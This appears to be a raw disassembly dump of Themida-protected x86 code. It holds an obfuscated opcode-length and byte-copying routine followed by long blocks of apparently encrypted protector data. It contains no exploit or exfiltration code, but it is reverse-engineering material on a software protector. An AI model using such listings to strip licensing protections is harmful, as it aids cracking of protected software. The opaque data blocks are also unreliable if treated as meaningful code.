loc_5A0CF0:				; CODE XREF: Themida_:005A0CE6j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60BC8C5h
		lea	ebp, [ebp+60BC583h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A0E72
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A0DB6
		dec	ecx
		jz	loc_5A0D99
		dec	ecx
		jnz	loc_5A0E09
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A0E05
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A0D78
		mov	byte ptr [ebp+0Bh], 2

loc_5A0D78:				; CODE XREF: Themida_:005A0D6Ej
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 60BC951h
		mov	dword ptr [ebp+60BC6A3h], 1
		pop	ebp
		jmp	loc_5A0E09
; ---------------------------------------------------------------------------

loc_5A0D99:				; CODE XREF: Themida_:005A0D53j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A0DE3
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A0DE3
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A0DE3
; ---------------------------------------------------------------------------

loc_5A0DB6:				; CODE XREF: Themida_:005A0D4Cj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A0DFC
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A0DEB
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A0DE3
		mov	[ebp+0Bh], cl

loc_5A0DE3:				; CODE XREF: Themida_:005A0D9Dj
					; Themida_:005A0DA7j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A0E09
; ---------------------------------------------------------------------------

loc_5A0DEB:				; CODE XREF: Themida_:005A0DC4j
		cmp	dl, 5
		jnz	loc_5A0E09
		mov	[ebp+0Bh], dl
		jmp	loc_5A0E09
; ---------------------------------------------------------------------------

loc_5A0DFC:				; CODE XREF: Themida_:005A0DBAj
		cmp	dl, 6
		jnz	loc_5A0E09

loc_5A0E05:				; CODE XREF: Themida_:005A0D64j
		mov	byte ptr [ebp+0Bh], 3

loc_5A0E09:				; CODE XREF: Themida_:005A0D5Aj
					; Themida_:005A0D94j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A0E37
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx

loc_5A0E19:				; CODE XREF: Themida_:005A0E2Fj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A0E19
		mov	esi, edx

loc_5A0E37:				; CODE XREF: Themida_:005A0E0Cj
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A0E6C
		cmp	edi, 7Fh
		ja	loc_5A0E6C
		test	bl, 38h
		jnz	loc_5A0E6C
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A0E66
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A0E69
; ---------------------------------------------------------------------------

loc_5A0E66:				; CODE XREF: Themida_:005A0E57j
		push	1
		pop	eax

loc_5A0E69:				; CODE XREF: Themida_:005A0E61j
		mov	[ebp-1], al

loc_5A0E6C:				; CODE XREF: Themida_:005A0E3Bj
					; Themida_:005A0E44j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]

loc_5A0E72:				; CODE XREF: Themida_:005A0D1Cj
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A0E9D
		dec	eax
		dec	eax
		jz	loc_5A0E93
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A0EA5
; ---------------------------------------------------------------------------

loc_5A0E93:				; CODE XREF: Themida_:005A0E82j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A0EA2
; ---------------------------------------------------------------------------

loc_5A0E9D:				; CODE XREF: Themida_:005A0E7Aj
		mov	al, [ebp-3]
		add	al, 4

loc_5A0EA2:				; CODE XREF: Themida_:005A0E98j
		add	[ebp-1], al

loc_5A0EA5:				; CODE XREF: Themida_:005A0E8Ej
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A0ECD
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx

loc_5A0EB8:				; CODE XREF: Themida_:005A0EC7j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A0EB8

loc_5A0ECD:				; CODE XREF: Themida_:005A0EADj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
aLI		db '‹Ðë$',0
		align 4
		dd 8 dup(0)
		dd 0BDE9h, 0A7B58900h, 8B060BCAh, 61D3D85h, 0D1858B06h
		dd 8D06060Fh, 0BCAF1B5h, 5C858D06h, 0FF06094Ah,	0E855C3D0h
		dd 0
		dd 0F7ED815Dh, 83060BCAh, 61D3DBDh, 850F0106h, 2Ch, 0CAA7B5FFh
		dd 858B060Bh, 6060FD1h,	81273635h, 3CD0FF34h, 0A850F01h
		dd 0B8000000h, 1, 47E9h, 0E9C03300h, 40h, 0B58D1C6Ah, 60BCAABh
		dd 0A7B5FF56h, 8B060BCAh, 60FD185h, 27363506h, 0D0FF3481h
		dd 8D0CC483h, 0BCAABB5h, 14468B06h, 8304E083h, 840F04F8h
		dd 7, 5E9C033h,	0B8000000h, 1, 1D3DBD83h, 0F010606h, 785h
		dd 0E9C35D00h, 2, 858DCF5Dh, 60BCAD0h, 115D8589h, 98E90606h
		dd 94000000h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 20h dup(0)
		dd 1B000000h, 0E96E2855h, 0B7Eh, 0BCDE268h, 0B137E906h
		dd 0D268FFFAh, 0E9060BCEh, 0FFFAB12Dh, 0BCFBC68h, 0B123E906h
		dd 2368FFFAh, 0E9060BD0h, 0FFFAB119h, 0BD17768h, 0B10FE906h
		dd 0DF68FFFAh, 0E9060BD1h, 0FFFAB105h, 0BD57368h, 0B0FBE906h
		dd 7D68FFFAh, 0E9060BD6h, 0FFFAB0F1h, 0C92B7A0Fh, 6FD1DCABh
		dd 13753451h, 0B6188FF5h, 57B9EA98h, 0C5BD935Ch, 2A5E7CDEh
		dd 86FD1B7Dh, 0E79FBD1Fh, 84055ABCh, 0D0486E4Fh, 0A4687E33h
		dd 2EBFEC9Ah, 7BD5E81Dh, 0B6172DC4h, 0E0A6C490h, 32D261C3h
		dd 0C5DCA356h, 0D5102E8Dh, 6F844E74h, 43FF9627h, 0FD02DC57h
		dd 3166658Bh, 2BC30D3Fh, 15136A01h, 492710DCh, 0CA82A914h
		dd 89EA4B33h, 0D9379863h, 0CA829B26h, 0C4E2FE33h, 3786BBCCh
		dd 333CA83h, 0FC10211Fh, 67C82513h, 2531BF41h, 28BFAEF4h
		dd 0B7EC9105h, 33CB1506h, 0E36E85E6h, 5CE40AC2h, 40h, 1015E98h
		dd 80113B70h, 0E3032BC2h, 45A3049Fh, 60C91FB6h,	96E25FA2h
		dd 0CB315C61h, 0CE2F9033h, 313C85A8h, 90F533CBh, 0EA9DBB19h
		dd 701E5DBBh, 0B6D28A36h, 29D31DF0h, 0AE94AEF4h, 0D0000000h
		dd 2EBFEC9Ah, 7BD5E81Dh, 0B6172DC4h, 0DCA6C490h, 3B4B69C7h
		dd 92F41270h, 1204B719h, 3D2DC480h, 0BEED9B49h,	0CC6CFB5Dh
		dd 3CCAF0BBh, 0A903614Ah, 86BB4C54h, 2BC25C6Ah,	0B7F49434h
		dd 9D4FA59h, 20B746A8h,	55A03FCFh, 0CC96BC1Fh, 0CFD4B0B7h
		dd 20B11271h, 0D3AA35EBh, 0D9EFF31h, 2C8E156Dh,	0FA2F740Eh
		dd 8405BF98h, 4753F34Fh, 0B8000009h, 5270D2D1h,	0F6147635h
		dd 98B6188Fh, 3755B7ECh, 0FBF6584Bh, 7D265C72h,	1C8BFD1Bh
		dd 0BCE79CBAh, 614A3C5Ah, 0F429AAFFh, 33D048C9h, 2951152Bh
		dd 8AB0FF89h, 0BB1D86FCh, 58BAE99Dh, 1015E04h, 80113B70h
		dd 0A2032BC2h, 97167111h, 0CFF2A571h, 0CA33CA7Fh, 0DB15F8AEh
		dd 8CAEF378h, 0C8h, 8FEC9AC8h, 0C47C635Ah, 0C728892Dh
		dd 6C374B69h, 2895CADBh, 0CC2DC47Ch, 7BB7063Bh,	0DC3D2DC4h
		dd 1D6D647Bh, 5DE3B0FEh, 5EB86B37h, 912DC55Bh, 3654B6F5h
		dd 9BF55350h, 9CAD3E46h, 5B67568Bh, 2C8D2DC5h, 0C55B4677h
		dd 2A1E32Dh, 1F1E44A5h,	0C33706EAh, 89EB4C2Bh, 42B863FAh
		dd 0E3416220h, 4C446D84h, 627F496Fh, 955C9122h,	0BF31D324h
		dd 552DCD5Eh, 4C5DEC4Eh, 0D35BA617h, 0BFE5462Dh, 1D525131h
		dd 8405313Dh, 5716B612h, 0C8000008h, 6280E2C1h,	6248625h
		dd 0A8C6287Fh, 4765C7DCh, 0B06683Bh, 8D166C62h,	2C7B0D2Bh
		dd 0CCD7ACCAh, 713A4C6Ah, 439BA0Fh, 33D049B9h, 9A61253Bh
		dd 3B59BBE8h, 0AAFE604Bh, 0B6509229h, 0F35D6095h, 2E8F2DC4h
		dd 5793A817h, 98E3A331h, 0C4985A63h, 0B4839A2Dh, 5250B581h
		dd 38C92A8Bh, 89F9EB98h, 0FC5BB91Ah, 9AEC0AD6h,	3855AF11h
		dd 13267F8h, 0F72BD015h, 21650596h, 0C06D2082h,	3533D02Ah
		dd 6C78DADEh, 2F364BCDh, 552E4E55h, 275CED4Eh, 31CE2959h
		dd 87863A9Bh, 0E4049FE7h, 0B9DC02A1h, 0BE1A3AC7h, 0C05151AEh
		dd 87B9E98Bh, 5CBA1BBFh, 14A5ED02h, 904436DFh, 575BF2C1h
		dd 0EC470886h, 1D0884E8h, 0FAFD606h, 2CBD1EE9h,	89AFFC8Ch
		dd 0F9CEA8Ah, 0A7E1EADh, 9DE9779Dh, 2103D90Eh, 0E03CF049h
		dd 76D40h, 0FCABDE00h, 0A00B7C9Ah, 3E65203Eh, 0E1C6BEDCh
		dd 8221617Fh, 86582520h, 2745A7FCh, 0C2E04261h,	6280E2C1h
		dd 0D0258724h, 4AA31A4Fh, 334933D0h, 1015E6Fh, 0C3BF5F70h
		dd 9C97BAE0h, 1C2BCFB0h, 3F9D067Ch, 8EEFBAE0h, 7B2A5DFDh
		dd 9BEA8A19h, 2F58E60Ch, 8EF81674h, 11723156h, 84618DCh
		dd 47E7437Eh, 706h, 31931277h, 0D7397413h, 7BDDCCB9h, 1E80275Dh
		dd 0BF218200h, 5D253BC4h, 0C2C6E446h, 1E6583E5h, 7F072587h
		dd 0EC6DC224h, 0D04C06B7h, 0CD0E633h, 214B015Eh, 730C927Bh
		dd 0FA5B483Ah, 60D30899h, 942BCFFCh, 35931074h,	0D3E475D6h
		dd 0D0031F9Eh, 11CB1B33h, 0C91E409Ch, 0E6E50B6Ch, 545335D5h
		dd 0BDE6A02Eh, 0A6EA015Bh, 0EECF0415h, 0FE33CFDAh, 6778779Dh
		dd 0DA9C2156h, 0EF5033CFh, 0DB0BA6C9h, 68C933CFh, 0DB69570Ah
		dd 313033CFh, 8FA1C09Ah, 305674AFh, 5EFE9214h, 0D3557B28h
		dd 0AEF8C21Dh, 3C4Ah, 53A4B00h,	33CFCCB8h, 3D9B0A79h, 0FA2081DEh
		dd 3075E36h, 0C2C16172h, 2685E3h, 0C47BECDDh, 59B7182Dh
		dd 0C47C1BA6h, 44627E2Dh, 0ED7927C9h, 740A8h, 187C0000h
		dd 1F4h, 898FAC44h, 8A9B2C74h, 0E90F9CEAh, 0C27ABAC6h
		dd 0F227B82Bh, 33CA7CCBh, 22810121h, 89AC60C1h,	8874D66Eh
		dd 0D5E81D2Eh, 17D77129h, 2A6C5186h, 1F80D771h,	0B1CE98BEh
		dd 0C9ABE071h, 0BBD56F0Eh, 4DA2FC5Ah, 967FB445h, 86DB77B7h
		dd 0EC839425h, 0C8BB3453h, 9207FDDh, 0F88F5197h, 8FF04FADh
		dd 0ABDB69h, 9D06809Eh,	70EAAE68h, 0BD5DB9DAh, 5B2h, 0E5476623h
		dd 83E5C0C7h, 27892065h, 0CA2C7B09h, 6BCDD6ACh,	0B1D18770h
		dd 167290F2h, 6A193799h, 0CBBBD93Bh, 0A8297EE0h, 0D04D4A73h
		dd 0D094AA33h, 61BFEC9Ah, 19AAEA07h, 0FBC2F708h, 0F12DC47Bh
		dd 0E1476A90h, 0D32BC260h, 7D52EABCh, 84E5023Eh, 0F9820422h
		dd 0CAF0F9C4h, 399AFB33h, 0D9C4C04h, 13B30F7Eh,	54Ah, 7DDFCEBBh
		dd 1B7D285Fh, 0BF2188FDh, 62C4E3A1h, 3653E44h, 19697F08h
		dd 7E0A288Ah, 0D2B1CF31h, 335371D3h, 40C11678h,	0D04CB20Bh
		dd 682C4233h, 61BFEC9Ah, 0A684343h, 0CAFF10A1h,	2DC47BF3h
		dd 7C2D90C5h, 5EBF2DC4h, 0DA0FA001h, 2DC47BE3h,	6682A809h
		dd 0B6C5C140h, 0C47C3C81h, 0EE4FB02Dh, 79767A8Ch, 0DA7AA8EDh
		dd 53DB01AEh, 46h, 4B015E8Fh, 63216CB9h, 7087E644h, 3394546Dh
		dd 92F191A2h, 2CAED13h,	82BC2C4h, 2B9649A7h, 6E33CABCh
		dd 37B95452h, 0B9AEF3B5h, 26574922h, 0A6E0DA86h, 0EE769CFDh
		dd 6Ch,	6A7E58EFh, 577EACF1h, 15E6D31h,	0B6D07001h, 7C3588BDh
		dd 56B72DC4h, 0BFD0CFF5h, 7C4479AEh, 17A82DC4h,	0C47BDBE2h
		dd 4FB0112Dh, 35690629h, 6672BC2h, 0F3B2D575h, 3D6B0291h
		dd 1B3E2E1Eh, 0A21E4167h, 1C33CADFh, 7321F285h,	0C3BF6847h
		dd 0C22382E0h, 2B780E9Ch, 0D1DCABC9h, 43CD373h,	2DC40000h
		dd 6D5308E2h, 0AA6E9487h, 0DAE31829h, 1A2DC47Bh, 6851C703h
		dd 57B8B869h, 540A6731h, 89C89F07h, 0E677D83Dh,	0C35E9FB1h
		dd 0D634952Bh, 77D5CEB8h, 207E2D59h, 0C6248302h, 663D4767h
		dd 0F7AFDD08h, 57F788C9h, 324E742Fh, 0F43C5174h, 0E3C2C363h
		dd 1002685h, 0C94584CCh, 0AB0D6E31h, 4CAAF98Dh,	4959DF2h
		dd 0C37A55CFh, 68C6272Bh, 6A970F3Dh, 0D32D8F1Ch, 0D4E576BEh
		dd 0F6544F34h, 0C64E7197h, 8831C966h, 0DF059EE8h, 8222B314h
		dd 7F3E7300h, 752DC55Eh, 0F655B314h, 0A0E604D0h, 4C7AA503h
		dd 0DA9F365Ah, 4D3B9301h, 9DF2BCE2h, 45CF0495h,	372BC27Ah
		dd 305674D6h, 75861573h, 8A8E2F64h, 0FD5E33CAh,	0CA8A7548h
		dd 0AF0E4333h, 4533CA89h, 2687E4h, 2E631072h, 33CA8A8Fh
		dd 1E9FD465h, 0CE33CA8Ah, 4DAB0C6Dh, 0F04E552Fh, 94F2B1D2h
		dd 256B3B69h, 0CA89CDF0h, 5DBE1F33h, 58386E1Ch,	75D3D0B8h
		dd 2462F016h, 0B0E5F687h, 33CA8A0Dh, 0E1C4BFDFh, 9DC32483h
		dd 161E73CDh, 8AD45085h, 45A631C8h, 0CDB858E7h,	6422B0D6h
		dd 90BEE947h, 5252AF16h, 8A988CC1h, 536A2BC2h, 5BB12630h
		dd 0C7298A88h, 3DCEDDA9h, 0B01FBFA6h, 41674D3Eh, 742F5775h
		dd 0F2EC8312h, 4D49654Ch, 8FE4AED4h, 0AFC1F687h, 7131C89Dh
		dd 0DE922B60h, 1622DC4h, 1EAF10DBh, 0C54BA487h,	9AC0A265h
		dd 6FA61BCEh, 0D7F32DC5h, 6DB23ECFh, 4EB5A8EEh,	0F1000000h
		dd 0AFFE8929h, 2C61F251h, 2DC47C91h, 12DC0263h,	0EF24B5FDh
		dd 2BC27F5Dh, 5D106ECFh, 33CA8064h, 38D1935h, 6E41FD6Ch
		dd 0EE14EFE9h, 0F425846Ch, 0BB5B6CAEh, 2483E1CCh, 0CB384E6Fh
		dd 173D9E33h, 0FB8Fh, 96F09000h, 2A50AF0Dh, 0BFEC9A66h
		dd 643F4361h, 59EE806h,	0C2B1D474h, 0C47C308Dh,	263C42Dh
		dd 0E18110DCh, 54E208A7h, 64177932h, 2DC480B2h,	0AC17D56Ch
		dd 6A3C3BD8h, 0D3D0B644h, 0B84BE271h, 0D48E295Dh, 98F6ADD6h
		dd 24B2D839h, 91EB4962h, 6EA3347Ch, 2BC303EAh, 695F758h
		dd 3FDC0F5h, 8EEF33CBh,	82419E68h, 2644A201h, 86E7485Fh
		dd 762D55F5h, 18762D56h, 5F9493B9h, 31D3522Ah, 68DB8F26h
		dd 4DABFA8Bh, 0B9FBD7EEh, 0D839042Ah, 923CB047h, 985C69AFh
		dd 0AFD37372h, 0E7492F4h, 91F2B1D6h, 5F0AE5Ch, 0A545A184h
		dd 1B6h, 0E1436227h, 87E9C4C3h,	2B8D1C69h, 0CE30770Dh
		dd 6FD1D2B0h, 0ADD58B74h, 127694F6h, 6E153395h,	0CFB7D537h
		dd 9C1D72D4h, 0D0515667h, 0BC809633h, 568BE89Ah, 2DC47C67h
		dd 69CB2C8Dh, 0D5B13B4Bh, 7C4C71A6h, 3FA02DC4h,	0C71B7DDEh
		dd 7001015Eh, 511A9CD9h, 7AA00A75h, 0ED06467Bh,	41D82BC2h
		dd 0DE89D314h, 14DF05E1h, 1FA255B3h, 1233CB26h,	0B6D43271h
		dd 117AD8CFh, 0C57D4363h, 426126C6h, 1E446322h,	8769A402h
		dd 0E0AEF41Fh, 0B3h, 229BD0E1h,	0D233CB32h, 9A874B71h
		dd 972EBFECh, 493F3E07h, 7EEB435Ah, 22400C32h, 32E54360h
		dd 2DC4C1E4h, 0D2346F17h, 6D1AD2B4h, 0F081E03Eh, 0C4C102BBh
		dd 3091F22Dh, 1B1B78D2h, 0A103558Ah, 90F12BC2h,	4D285FFFh
		dd 0CAE0A518h, 85E64733h, 0D2A2C827h, 8A1B1B78h, 0D33AD355h
		dd 0B8CD6D31h, 0E3493F1h, 0B151E243h, 5270D2D1h, 223E7330h
		dd 0ED840546h, 0ACF191h, 6C1D0000h, 0CABDDB3Dh,	2A5B79DBh
		dd 89FB197Bh, 0E89AB81Ah, 915E59BBh, 7EE0C3BFh,	197B2860h
		dd 0BB1D88FBh, 58BAE99Dh, 704D8203h, 8433D052h,	0E89AAA6Eh
		dd 4B3B59BBh, 9AAAFE60h, 4361BFECh, 0AC066843h,	89BE4F57h
		dd 2BCFB846h, 0CDDAAACAh, 96F00E6Ch, 8DE1DC57h,	3D9EC177h
		dd 0DAC9BDDBh, 0EFC3C97Ch, 37E54BF3h, 0B7F4926Fh, 5C26C655h
		dd 648AE947h, 5234B0D6h, 0B9AF859h, 0EFF8C5FAh,	9BFC9BECh
		dd 69DE775h, 574F7DA8h,	6DCFDCAAh, 0D6AD374Fh, 0F0536A9Fh
		dd 38999BECh, 0B91A79D7h, 8BB5Bh, 29E70000h, 86ACFB89h
		dd 0EF9A64B8h, 424462C0h, 96ED0B69h, 0F593B10Fh, 483A58B6h
		dd 0A3DFFD5Bh, 84A200h,	5E2745A3h, 0BCCBE947h, 681B93F1h
		dd 4DCEh, 68240489h, 385h, 68241489h, 73CEh, 53243C89h
		dd 465BCFBBh, 44BB532Fh, 89294D97h, 0DA315BDAh,	3C8B545Bh
		dd 4C48324h, 4EC81h, 14890000h,	24348124h, 589B471Eh, 8108478Fh
		dd 471E0877h, 34FF589Bh, 0C4835F24h, 2434FF04h,	4C4815Ah
		dd 0E9000000h, 0FFFAA5CDh, 50600126h, 0E3A63B03h, 4EB8CB48h
		dd 3060BD7h, 21E0FFC5h,	164EE6E0h, 0D11618EAh, 2145F96Ah
		dd 4D3CA62Dh, 375E89B1h, 3231D337h, 6C4B0B4Ch, 0F71741E3h
		dd 11634E0Ah, 0DD608FAFh, 0EB570E11h, 0DBB32D04h, 58DE967h
		dd 0E8A10000h, 3E4967C9h, 96EF0D6Fh, 0F58FAD0Fh, 542E4CAEh
		dd 5F2ED4Fh, 12742F53h,	0B51794F4h, 57B9EC97h, 0FC5E4D39h
		dd 0CCF126A7h, 2033D052h, 0EC9A460Ah, 3F4361BFh, 0A2E40264h
		dd 0F98DAB09h, 592E4CAAh, 0FFADEC4Ah, 7F2C5AA7h, 487D8E1Dh
		dd 2DC47C75h, 74D2D1B4h, 3157B815h, 9B0FE0A3h, 0B7B3D49Eh
		dd 0E94A592Bh, 972688h,	3F68E2F7h, 4246665Bh, 82A80765h
		dd 0B6148FF4h, 55B3F098h, 979192Ah, 0A301ACDBh,	2685E344h
		dd 3FC2E400h, 70FF6144h, 9B5DD2D9h, 0AED47A4Dh,	0DF3D6620h
		dd 0C4BF942Ch, 0BBEA9B2Dh, 60433F5Dh, 0E5C1DF02h, 0DE3C671Ch
		dd 37D51E7Fh, 181216Fh,	0E1DC11A2h, 132DC4BEh, 0E60A8CB2h
		dd 0AA8EDB7h, 30A93F73h, 0ED224A23h, 2DC4EFD0h,	3C62C324h
		dd 4EB4h, 8929F000h, 0F785ABFAh, 0EC83148Fh, 5D30133Fh
		dd 0BEF384B1h, 2DC571FFh, 0A26E94F5h, 0C571D0EFh, 0C9A382Dh
		dd 0EE6AEF01h, 178A8h, 9AB40000h, 0D160BEEDh, 0F1945231h
		dd 9D2B51B2h, 3F5DBBEAh, 0C1005E45h, 196E9313h,	7C0A288Ah
		dd 9A79CD2Fh, 3F5DBBE8h, 96FF5D48h, 3F43BEE8h, 0A2E40264h
		dd 0B1CAB09h, 0C47BE7D6h, 0D9F60D2Dh, 0D72C4EE2h, 44D2F859h
		dd 0C0D16241h, 8C416220h, 2DC55531h, 703C62C3h,	88089EBAh
		dd 73049FE8h, 0C5557F3Eh, 0EE14752Dh, 0EE54946Ch, 0C8BC5CA8h
		dd 752DB5DBh, 2E000000h, 40590F97h, 0CEF412ADh,	0BBE89A0Ah
		dd 5F463F5Dh, 9214C201h, 5B8EDFEh, 242DC47Ch, 84E54261h
		dd 0F1B2D05Eh, 9211718Fh, 0D1266101h, 266987F4h, 0F61C7D82h
		dd 2B780C2Ah, 0ABFB17CDh, 1E9FD4E5h, 0CE2DC54Fh, 3BC5476Dh
		dd 2CA8EE4Eh, 42h, 0FCE89A68h, 62C11F8Ch, 0FE85A301h, 82649A7h
		dd 3452F29Eh, 19B684C1h, 5EBF9644h, 0ED7BA100h,	58AC0E95h
		dd 2DBEED9Ah, 4CAAF98Dh, 48FBC7EDh, 2DC47C78h, 57B6F08Eh
		dd 0A8ED7599h, 1CEh, 89290A00h,	3250AEFDh, 98F75552h, 2831137h
		dd 0A3049FE4h, 445F2745h, 4FD01CB3h, 0E8DC3183h, 0BEE4BFC8h
		dd 0D99C7F2h, 65F8EC83h, 9734706Bh, 3A2E371h, 0C1C16172h
		dd 0F5902DE2h, 3642DC4h, 0AB09A4E3h, 0FC56264Ch, 0D90E9FE7h
		dd 2BC2F38Bh, 84A20061h, 2947A902h, 3DF04E5Dh, 33CAF482h
		dd 140EA5A6h, 0E6CB4B32h, 516CA132h, 0A333CB23h, 0A6001C42h
		dd 6D3A4AEAh, 0AECDB947h, 0CB234479h, 0E647A833h, 83206684h
		dd 247F0725h, 704D8293h, 8433CB23h, 0C831FD23h,	11758C1Ah
		dd 0D21E3092h, 95AEF41Bh, 14Eh,	1015ED1h, 62913B70h, 6C832BC2h
		dd 0E8EFF67Ch, 0AD001710h, 66BABE66h, 62482E3h,	0F2922380h
		dd 5AB91794h, 0D32994C9h, 6ACB33CAh, 30567444h,	8FF71573h
		dd 3D728314h, 33CAD380h, 21ED1374h, 0C6247F03h,	65C3E0A8h
		dd 269A0C3Ah, 68990DBBh, 9423851Eh, 0F21893F4h,	0F3CC8070h
		dd 0F5D970AEh, 9D47A75h, 4E63EB11h, 9F000000h, 7203075Eh
		dd 0C47CB03Dh, 0E543A42Dh, 0C47C8B32h, 5CFC0D2Dh, 3D597F2Ch
		dd 1015C69h, 0F0B3D070h, 0E0D3392h, 6B7ECFDh, 0E62DC47Ch
		dd 0E49A6BCFh, 57B8D561h, 24DF0E31h, 0B4152DC5h, 7DB2C352h
		dd 2DC52540h, 1D2D53B4h, 96h, 1015E49h,	0C6BF5F70h, 7E96B9DFh
		dd 742BC268h, 17783354h, 90EB9BB9h, 0CA98625Bh,	0D0319233h
		dd 6D36506Eh, 604B3CDCh, 0D7BB6E3Ah, 533CA97h, 4442BFE7h
		dd 293FD667h, 0AA1348E8h, 4A33CB4Ch, 455CD2E9h,	79D3A3C9h
		dd 568B1C64h, 31D5D23Bh, 5C7AD839h, 26C2C22Ah, 88E74562h
		dd 7DB4C927h, 9CD1EE07h, 0DC3A9BFCh, 6220C4BEh,	6482E041h
		dd 0E6BDC51Fh, 6AC82988h, 2B95113Fh, 0EFD6D0FEh, 0CC019292h
		dd 2BDD4FC5h, 5DEC4EAFh, 0EFA6174Ch, 0E54633CAh, 15EFBBFh
		dd 6644342h, 80B546A7h,	2BCFAD11h, 3489BECFh, 0B833D053h
		dd 5663157h, 0D7818A7h,	0A4E27096h, 7653E48h, 0A5B647A8h
		dd 0A94550Eh
		dd 570C92D9h, 33D05F66h, 5EA01D52h, 0F35433D0h,	3F0F3596h
		dd 317210B0h, 0C04E74D3h, 6E7C27C6h, 7D4356EDh,	0DF06B7ECh
		dd 85E633CFh, 9737C624h, 6C8FB5F0h, 521F7907h, 0C63B6B19h
		dd 4152E3C0h, 9F88B10Ch, 0BCE24395h, 0EBB8CEECh, 0B8EDFE8Dh
		dd 959F8905h, 0D26086E7h, 7997F5B2h, 283D9B0Ah,	328F06DCh
		dd 0C5C1E169h, 0C4F988E6h, 959FC5F9h, 812F9AFBh, 406E9B25h
		dd 0E4192A66h, 959FC5D9h, 694BA1Bh, 0A3C12380h,	0CA6AC8E3h
		dd 0Ah,	0F98929F6h, 0C7ED4CAAh,	0EF9AA5F9h, 424462C0h
		dd 96ED0B69h, 0F593B10Fh, 483A58B6h, 0A3DFFD5Bh, 84A200h
		dd 5E2745A3h, 0BCCBE947h, 561B93F1h, 0C681E689h, 4, 8704EE83h
		dd 248B2434h, 0E7895724h, 4C781h, 0EF830000h, 243C8704h
		dd 2434895Ch, 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch
		dd 0EC83243Ch, 241C8904h, 5229C0BBh, 0C1D3F76Ah, 0F74B02EBh
		dd 77C381DBh, 81658653h, 110A10F3h, 5BDE8946h, 8904EC83h
		dd 4832424h, 535F0424h,	8F53F389h, 0FF5B0847h, 835F2434h
		dd 348B04C4h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 9FFFE95Ch, 6F4DFFFAh, 5C6DF03Ch, 0B8410D42h,	60BDCEEh
		dd 0E0FFC503h, 71DEDA4Fh, 57CCAE68h, 1DBB5223h,	7C899D5Fh
		dd 6DA4FD0Bh, 2D69651Fh, 418BBD8Bh, 514CD62Ch, 2C006B56h
		dd 7F61E69Dh, 518E34C4h, 71AA5055h, 1015273Fh, 3DD8F19h
		dd 69E24C0h, 6ADAE69Fh,	42E5D167h, 1578D83h, 684BD331h
		dd 3891CAE6h, 2017BB90h, 45B39871h, 454C917Dh, 649E8919h
		dd 196AD236h, 0DEEC8D8Dh, 6A060Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 0C0ECA3C3h, 2B70EA68h
		dd 617A19Dh, 0F5BD0B06h, 8906060Dh, 628DD8Dh, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 8B37B579h, 626A595h,	1185C706h, 9C060611h, 6A000070h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0AEEEC353h, 0C7802C9Dh, 62E4985h,	6, 8B666000h
		dd 1D9589F8h, 61060626h, 2D29B5FFh, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58BA0C3h
		dd 606121Dh, 79195FFh, 6A0606h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 4A5A8DC3h, 65BEA848h
		dd 665615CCh, 6ADE8Bh, 1AC995FFh, 0C08B0606h, 5D7D7BEBh
		dd 602DA7C1h, 0CC0308Ch, 35038AC6h, 8BB0FBB7h, 31433F3Fh
		dd 276309A6h, 2EAB9EBEh, 17038C21h, 20AF1964h, 0C09A3B17h
		dd 6C0598D6h, 0D47F8B70h, 76C34F55h, 3FAADE96h,	3EE7BD44h
		dd 0CBD7FA0Fh, 3DB1494Dh, 0EE035520h, 4BCD8277h, 0AC87392h
